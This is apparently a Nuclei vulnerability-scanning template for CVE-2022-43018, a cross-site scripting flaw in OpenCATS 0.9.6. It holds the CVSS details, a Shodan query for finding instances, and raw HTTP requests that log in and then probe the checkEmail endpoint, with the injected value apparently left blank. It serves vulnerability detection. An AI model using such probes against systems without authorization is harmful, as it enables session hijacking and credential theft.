id: CVE-2022-43018 info: name: OpenCATS 0.9.6 - Cross-Site Scripting author: arafatansari severity: medium description: | OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the email parameter in the Check Email function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. remediation: | Upgrade to a patched version of OpenCATS or apply the necessary security patches provided by the vendor. reference: - https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_checkEmail.md - https://nvd.nist.gov/vuln/detail/CVE-2022-43018 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-43018 cwe-id: CWE-79 epss-score: 0.001 epss-percentile: 0.40974 cpe: cpe:2.3:a:opencats:opencats:0.9.6:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: opencats product: opencats shodan-query: title:"OpenCATS" tags: cve,cve2022,xss,opencats,authenticated http: - raw: - | POST /index.php?m=login&a=attemptLogin HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username={{username}}&password={{password}} - | GET /index.php?m=toolbar&callback=abcd&a=checkEmailIsInSystem&email= HTTP/1.1 Host: {{Hostname}} cookie-reuse: true host-redirects: true max-redirects: 2 matchers-condition: and matchers: - type: word part: body words: - ':0' - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 490a0046304402206d3143cd2ab76142b5dc15c9b44c7c997065e567667902e2cfeaaa19430c288b022066831abb5c320bcfcf93c3ae47c2df792e82aeef5ed360015dfb959f1fb294cf:922c64590222798bb761d5b6d8e72950